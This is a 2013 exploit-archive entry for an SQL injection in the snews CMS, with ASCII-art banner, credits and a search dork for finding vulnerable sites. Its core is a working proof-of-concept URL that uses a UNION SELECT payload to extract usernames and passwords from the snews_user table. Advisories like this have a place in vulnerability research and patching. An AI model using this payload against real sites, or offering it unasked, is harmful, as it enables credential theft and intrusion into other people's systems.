[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : CMS snews SQL Injection Vulnerability
# Published : 2013-01-15
# Author :
# Previous Title : Easy Live Shop System SQL Injection Vulnerability
# Next Title : Joomla com_collector Component Arbitrary File Upload Vulnerability


  ____   ____   ____   _______/  |________   ____   ____  
 /  _  /    _/ __  /  ___/   ___  __ _/ __ _/ __  
(  <_> )   |    ___/ ___   |  |  |  | /  ___/  ___/ 
 ____/|___|  /___  >____  > |_ |  |__|    ___  >___  >
            /     /     /                    /     / 
     

# Exploit Title : CMS snews SQL Injection Vulnerability
# Author        : By onestree
# Software Link : http://snewscms.com/
# tested        : ubuntu 12.10 / win 7
# Dork          : inurl:"tanyakan pada rumput yang bergoyang"


*************************************************************

SQL poc:

http://localhost/snews/snews.php?act=shownews&id=[SQL]

Example:

http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*
 

Thanks : 

  Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell
     
          indonesiancoder - moeslimh4x0r - go-coder

spesial my hunny :*